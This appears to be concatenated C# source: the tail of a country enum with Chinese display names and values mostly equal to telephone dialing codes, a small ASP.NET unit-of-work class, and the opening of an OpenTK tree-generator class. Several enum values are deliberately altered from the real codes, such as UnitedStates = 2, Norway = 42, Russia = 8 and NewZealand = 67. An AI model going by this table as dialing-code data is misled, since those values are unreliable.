[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "佛得角")]
CapeVerde = 238,
/// <summary>
/// 开曼群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "开曼群岛")]
CaymanIslands = 1345,
/// <summary>
/// 中非共和国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "中非共和国")]
CentralAfricanRepublic = 236,
/// <summary>
/// 乍得
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "乍得")]
Chad = 235,
/// <summary>
/// 智利
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "智利")]
Chile = 56,
/// <summary>
/// 圣诞岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圣诞岛")]
ChristmasIsland = 50, //61
/// <summary>
/// 科科斯群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "科科斯群岛")]
CocosIslands = 61,
/// <summary>
/// 哥伦比亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "哥伦比亚")]
Colombia = 57,
/// <summary>
/// 科摩罗
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "科摩罗")]
Comoros = 269,
/// <summary>
/// 库克群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "库克群岛")]
CookIslands = 682,
/// <summary>
/// 哥斯达黎加
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "哥斯达黎加")]
CostaRica = 506,
/// <summary>
/// 克罗地亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "克罗地亚")]
Croatia = 385,
/// <summary>
/// 古巴
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "古巴")]
Cuba = 53,
/// <summary>
/// 库拉索
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "库拉索")]
Curacao = 599,
/// <summary>
/// 塞浦路斯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "塞浦路斯")]
Cyprus = 357,
/// <summary>
/// 捷克共和国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "捷克共和国")]
CzechRepublic = 420,
/// <summary>
/// 刚果民主共和国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "刚果民主共和国")]
DemocraticRepublicoftheCongo = 243,
/// <summary>
/// 丹麦
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "丹麦")]
Denmark = 45,
/// <summary>
/// 吉布提
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "吉布提")]
Djibouti = 253,
/// <summary>
/// 多米尼加
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "多米尼加")]
Dominica = 1767,
/// <summary>
/// 多明尼加共和国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "多明尼加共和国")]
DominicanRepublic = 1809,
/// <summary>
/// 东帝汶
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "东帝汶")]
EastTimor = 670,
/// <summary>
/// 厄瓜多尔
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "厄瓜多尔")]
Ecuador = 593,
/// <summary>
/// 埃及
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "埃及")]
Egypt = 20,
/// <summary>
/// 萨尔瓦多
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "萨尔瓦多")]
ElSalvador = 503,
/// <summary>
/// 赤道几内亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "赤道几内亚")]
EquatorialGuinea = 240,
/// <summary>
/// 厄立特里亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "厄立特里亚")]
Eritrea = 291,
/// <summary>
/// 爱沙尼亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "爱沙尼亚")]
Estonia = 372,
/// <summary>
/// 埃塞俄比亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "埃塞俄比亚")]
Ethiopia = 251,
/// <summary>
/// 福克兰群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "福克兰群岛")]
FalklandIslands = 500,
/// <summary>
/// 法罗群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "法罗群岛")]
FaroeIslands = 298,
/// <summary>
/// 斐济
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "斐济")]
Fiji = 679,
/// <summary>
/// 芬兰
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "芬兰")]
Finland = 358,
/// <summary>
/// 法国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "法国")]
France = 33,
/// <summary>
/// 法属波利尼西亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "法属波利尼西亚")]
FrenchPolynesia = 689,
/// <summary>
/// 加蓬
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "加蓬")]
Gabon = 241,
/// <summary>
/// 冈比亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "冈比亚")]
Gambia = 220,
/// <summary>
/// 格鲁吉亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "格鲁吉亚")]
Georgia = 995,
/// <summary>
/// 德国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "德国")]
Germany = 49,
/// <summary>
/// 加纳
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "加纳")]
Ghana = 233,
/// <summary>
/// 直布罗陀
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "直布罗陀")]
Gibraltar = 350,
/// <summary>
/// 希腊
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "希腊")]
Greece = 30,
/// <summary>
/// 格陵兰
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "格陵兰")]
Greenland = 299,
/// <summary>
/// 格林纳达
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "格林纳达")]
Grenada = 1473,
/// <summary>
/// 关岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "关岛")]
Guam = 1671,
/// <summary>
/// 危地马拉
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "危地马拉")]
Guatemala = 502,
/// <summary>
/// 根西岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "根西岛")]
Guernsey = 441481,
/// <summary>
/// 几内亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "几内亚")]
Guinea = 224,
/// <summary>
/// 几内亚比绍
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "几内亚比绍")]
GuineaBissau = 245,
/// <summary>
/// 圭亚那
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圭亚那")]
Guyana = 592,
/// <summary>
/// 海地
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "海地")]
Haiti = 509,
/// <summary>
/// 洪都拉斯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "洪都拉斯")]
Honduras = 504,
/// <summary>
/// 匈牙利
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "匈牙利")]
Hungary = 36,
/// <summary>
/// 冰岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "冰岛")]
Iceland = 354,
/// <summary>
/// 印度
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "印度")]
India = 91,
/// <summary>
/// 印尼
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "印尼")]
Indonesia = 62,
/// <summary>
/// 伊朗
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "伊朗")]
Iran = 98,
/// <summary>
/// 伊拉克
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "伊拉克")]
Iraq = 964,
/// <summary>
/// 爱尔兰
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "爱尔兰")]
Ireland = 353,
/// <summary>
/// 马恩岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "马恩岛")]
IsleofMan = 441624,
/// <summary>
/// 以色列
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "以色列")]
Israel = 972,
/// <summary>
/// 意大利
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "意大利")]
Italy = 39,
/// <summary>
/// 象牙海岸
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "象牙海岸")]
IvoryCoast = 225,
/// <summary>
/// 牙买加
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "牙买加")]
Jamaica = 1876,
/// <summary>
/// 日本
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "日本")]
Japan = 81,
/// <summary>
/// 泽西岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "泽西岛")]
Jersey = 441534,
/// <summary>
/// 约旦
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "约旦")]
Jordan = 962,
/// <summary>
/// 哈萨克斯坦
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "哈萨克斯坦")]
Kazakhstan = 7,
/// <summary>
/// 肯尼亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "肯尼亚")]
Kenya = 254,
/// <summary>
/// 基里巴斯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "基里巴斯")]
Kiribati = 686,
/// <summary>
/// 科威特
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "科威特")]
Kuwait = 965,
/// <summary>
/// 吉尔吉斯斯坦
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "吉尔吉斯斯坦")]
Kyrgyzstan = 996,
/// <summary>
/// 老挝
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "老挝")]
Laos = 856,
/// <summary>
/// 拉脱维亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "拉脱维亚")]
Latvia = 371,
/// <summary>
/// 黎巴嫩
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "黎巴嫩")]
Lebanon = 961,
/// <summary>
/// 莱索托
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "莱索托")]
Lesotho = 266,
/// <summary>
/// 利比里亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "利比里亚")]
Liberia = 231,
/// <summary>
/// 利比亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "利比亚")]
Libya = 218,
/// <summary>
/// 列支敦士登
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "列支敦士登")]
Liechtenstein = 423,
/// <summary>
/// 立陶宛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "立陶宛")]
Lithuania = 370,
/// <summary>
/// 卢森堡
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "卢森堡")]
Luxembourg = 352,
/// <summary>
/// 马其顿
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "马其顿")]
Macedonia = 389,
/// <summary>
/// 马达加斯加
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "马达加斯加")]
Madagascar = 261,
/// <summary>
/// 马拉维
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "马拉维")]
Malawi = 265,
/// <summary>
/// 马来西亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "马来西亚")]
Malaysia = 60,
/// <summary>
/// 马尔代夫
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "马尔代夫")]
Maldives = 960,
/// <summary>
/// 马里
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "马里")]
Mali = 223,
/// <summary>
/// 马耳他
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "马耳他")]
Malta = 356,
/// <summary>
/// 马绍尔群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "马绍尔群岛")]
MarshallIslands = 692,
/// <summary>
/// 毛里塔尼亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "毛里塔尼亚")]
Mauritania = 222,
/// <summary>
/// 毛里求斯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "毛里求斯")]
Mauritius = 230,
/// <summary>
/// 马约特
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "马约特")]
Mayotte = 262,
/// <summary>
/// 墨西哥
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "墨西哥")]
Mexico = 52,
/// <summary>
/// 密克罗尼西亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "密克罗尼西亚")]
Micronesia = 691,
/// <summary>
/// 摩尔达维亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "摩尔达维亚")]
Moldova = 373,
/// <summary>
/// 摩纳哥
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "摩纳哥")]
Monaco = 377,
/// <summary>
/// 蒙古
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "蒙古")]
Mongolia = 976,
/// <summary>
/// 黑山共和国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "黑山共和国")]
Montenegro = 382,
/// <summary>
/// 蒙特塞拉特
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "蒙特塞拉特")]
Montserrat = 1664,
/// <summary>
/// 摩洛哥
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "摩洛哥")]
Morocco = 214, //212
/// <summary>
/// 莫桑比克
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "莫桑比克")]
Mozambique = 258,
/// <summary>
/// 缅甸
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "缅甸")]
Myanmar = 95,
/// <summary>
/// 纳米比亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "纳米比亚")]
Namibia = 264,
/// <summary>
/// 瑙鲁
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "瑙鲁")]
Nauru = 674,
/// <summary>
/// 尼泊尔
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "尼泊尔")]
Nepal = 977,
/// <summary>
/// 荷兰
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "荷兰")]
Netherlands = 31,
/// <summary>
/// 荷属安的列斯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "荷属安的列斯")]
NetherlandsAntilles = 600, //599
/// <summary>
/// 新喀里多尼亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "新喀里多尼亚")]
NewCaledonia = 687,
/// <summary>
/// 新西兰
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "新西兰")]
NewZealand = 67, //64
/// <summary>
/// 尼加拉瓜
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "尼加拉瓜")]
Nicaragua = 505,
/// <summary>
/// 尼日尔
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "尼日尔")]
Niger = 227,
/// <summary>
/// 尼日利亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "尼日利亚")]
Nigeria = 234,
/// <summary>
/// 纽埃
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "纽埃")]
Niue = 683,
/// <summary>
/// 北韩
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "北韩")]
NorthKorea = 850,
/// <summary>
/// 北马里亚纳群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "北马里亚纳群岛")]
NorthernMarianaIslands = 1670,
/// <summary>
/// 挪威
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "挪威")]
Norway = 42, //47
/// <summary>
/// 阿曼
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "阿曼")]
Oman = 968,
/// <summary>
/// 巴基斯坦
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "巴基斯坦")]
Pakistan = 92,
/// <summary>
/// 帕劳
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "帕劳")]
Palau = 680,
/// <summary>
/// 巴拿马
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "巴拿马")]
Panama = 507,
/// <summary>
/// 巴布亚新几内亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "巴布亚新几内亚")]
PapuaNewGuinea = 675,
/// <summary>
/// 巴拉圭
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "巴拉圭")]
Paraguay = 595,
/// <summary>
/// 秘鲁
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "秘鲁")]
Peru = 51,
/// <summary>
/// 菲律宾
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "菲律宾")]
Philippines = 63,
/// <summary>
/// 皮特凯恩
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "皮特凯恩")]
Pitcairn = 64,
/// <summary>
/// 波兰
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "波兰")]
Poland = 48,
/// <summary>
/// 葡萄牙
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "葡萄牙")]
Portugal = 351,
/// <summary>
/// 波多黎各
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "波多黎各")]
PuertoRico = 1787,
/// <summary>
/// 卡塔尔
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "卡塔尔")]
Qatar = 974,
/// <summary>
/// 刚果共和国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "刚果共和国")]
RepublicoftheCongo = 242,
/// <summary>
/// 团圆
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "留尼汪岛")]
Reunion = 270, //262
/// <summary>
/// 罗马尼亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "罗马尼亚")]
Romania = 40,
/// <summary>
/// 俄罗斯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "俄罗斯")]
Russia = 8, // 7
/// <summary>
/// 卢旺达
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "卢旺达")]
Rwanda = 250,
/// <summary>
/// 圣巴泰勒米岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圣巴泰勒米岛")]
SaintBarthelemy = 590,
/// <summary>
/// 圣赫勒拿
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圣赫勒拿")]
SaintHelena = 290,
/// <summary>
/// 圣尼维斯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圣尼维斯")]
SaintKittsandNevis = 1869,
/// <summary>
/// 圣卢西亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圣卢西亚")]
SaintLucia = 1758,
/// <summary>
/// 圣马丁
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圣马丁")]
SaintMartin = 594, //590
/// <summary>
/// 圣皮埃尔和密克隆
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圣皮埃尔和密克隆")]
SaintPierreandMiquelon = 508,
/// <summary>
/// 圣文森特和格林纳丁斯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圣文森特和格林纳丁斯")]
SaintVincentandtheGrenadines = 1784,
/// <summary>
/// 萨摩亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "萨摩亚")]
Samoa = 685,
/// <summary>
/// 圣马力诺
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圣马力诺")]
SanMarino = 378,
/// <summary>
/// 圣多美和普林西比
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圣多美和普林西比")]
SaoTomeandPrincipe = 239,
/// <summary>
/// 沙特阿拉伯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "沙特阿拉伯")]
SaudiArabia = 966,
/// <summary>
/// 塞内加尔
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "塞内加尔")]
Senegal = 221,
/// <summary>
/// 塞尔维亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "塞尔维亚")]
Serbia = 381,
/// <summary>
/// 塞舌尔
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "塞舌尔")]
Seychelles = 248,
/// <summary>
/// 塞拉利昂
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "塞拉利昂")]
SierraLeone = 232,
/// <summary>
/// 新加坡
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "新加坡")]
Singapore = 65,
/// <summary>
/// 圣马丁岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "圣马丁岛")]
SintMaarten = 1721,
/// <summary>
/// 斯洛伐克
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "斯洛伐克")]
Slovakia = 421,
/// <summary>
/// 斯洛文尼亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "斯洛文尼亚")]
Slovenia = 386,
/// <summary>
/// 所罗门群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "所罗门群岛")]
SolomonIslands = 677,
/// <summary>
/// 索马里
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "索马里")]
Somalia = 252,
/// <summary>
/// 南非
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "南非")]
SouthAfrica = 27,
/// <summary>
/// 韩国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "韩国")]
SouthKorea = 82,
/// <summary>
/// 西班牙
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "西班牙")]
Spain = 34,
/// <summary>
/// 斯里兰卡
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "斯里兰卡")]
SriLanka = 94,
/// <summary>
/// 苏丹
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "苏丹")]
Sudan = 249,
/// <summary>
/// 苏里南
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "苏里南")]
Suriname = 597,
/// <summary>
/// 斯瓦尔巴群岛和扬马延
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "斯瓦尔巴群岛和扬马延")]
SvalbardandJanMayen = 47,
/// <summary>
/// 斯威士兰
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "斯威士兰")]
Swaziland = 268,
/// <summary>
/// 瑞典
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "瑞典")]
Sweden = 46,
/// <summary>
/// 瑞士
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "瑞士")]
Switzerland = 41,
/// <summary>
/// 叙利亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "叙利亚")]
Syria = 963,
/// <summary>
/// 台湾
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "台湾")]
Taiwan = 886,
/// <summary>
/// 塔吉克斯坦
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "塔吉克斯坦")]
Tajikistan = 992,
/// <summary>
/// 坦桑尼亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "坦桑尼亚")]
Tanzania = 255,
/// <summary>
/// 泰国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "泰国")]
Thailand = 66,
/// <summary>
/// 多哥
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "多哥")]
Togo = 228,
/// <summary>
/// 托克劳
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "托克劳")]
Tokelau = 690,
/// <summary>
/// 汤加
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "汤加")]
Tonga = 676,
/// <summary>
/// 特立尼达和多巴哥
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "特立尼达和多巴哥")]
TrinidadandTobago = 1868,
/// <summary>
/// 突尼斯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "突尼斯")]
Tunisia = 216,
/// <summary>
/// 土耳其
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "土耳其")]
Turkey = 90,
/// <summary>
/// 土库曼斯坦
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "土库曼斯坦")]
Turkmenistan = 993,
/// <summary>
/// 特克斯和凯科斯群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "特克斯和凯科斯群岛")]
TurksandCaicosIslands = 1649,
/// <summary>
/// 图瓦卢
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "图瓦卢")]
Tuvalu = 688,
/// <summary>
/// 美属维尔京群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "美属维尔京群岛")]
UsVirginIslands = 1340,
/// <summary>
/// 乌干达
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "乌干达")]
Uganda = 256,
/// <summary>
/// 乌克兰
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "乌克兰")]
Ukraine = 380,
/// <summary>
/// 阿拉伯联合酋长国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "阿拉伯联合酋长国")]
UnitedArabEmirates = 971,
/// <summary>
/// 英国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "英国")]
UnitedKingdom = 44,
/// <summary>
/// 美国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "美国")]
UnitedStates = 2, //修改 原来为1
/// <summary>
/// 乌拉圭
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "乌拉圭")]
Uruguay = 598,
/// <summary>
/// 乌兹别克斯坦
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "乌兹别克斯坦")]
Uzbekistan = 998,
/// <summary>
/// 瓦努阿图
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "瓦努阿图")]
Vanuatu = 678,
/// <summary>
/// 梵帝冈
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "梵帝冈")]
Vatican = 379,
/// <summary>
/// 委内瑞拉
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "委内瑞拉")]
Venezuela = 58,
/// <summary>
/// 越南
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "越南")]
Vietnam = 84,
/// <summary>
/// 瓦利斯和富图纳群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "瓦利斯和富图纳群岛")]
WallisandFutuna = 681,
/// <summary>
/// 西撒哈拉
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "西撒哈拉")]
WesternSahara = 212,
/// <summary>
/// 也门
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "也门")]
Yemen = 967,
/// <summary>
/// 赞比亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "赞比亚")]
Zambia = 260,
/// <summary>
/// 津巴布韦
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "津巴布韦")]
Zimbabwe = 263
}
} |
using Microsoft.AspNetCore.Http;
using WebSim.Persistence.Core;
namespace WebSim.Persistence
{
public class HttpUnitOfWork : UnitOfWork
{
public HttpUnitOfWork(DatabaseService context, IHttpContextAccessor httpAccessor) : base(context)
{
context.CurrentUserId = httpAccessor.HttpContext?.User.FindFirst(ClaimConstants.Subject)?.Value?.Trim();
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using OpenTK;
using OpenTK.Graphics.OpenGL;
namespace _3D_Tree_Generator
{
/// <summary>
/// OUTDATED, USE MESH INSTEAD
/// </summary>
class Object
{
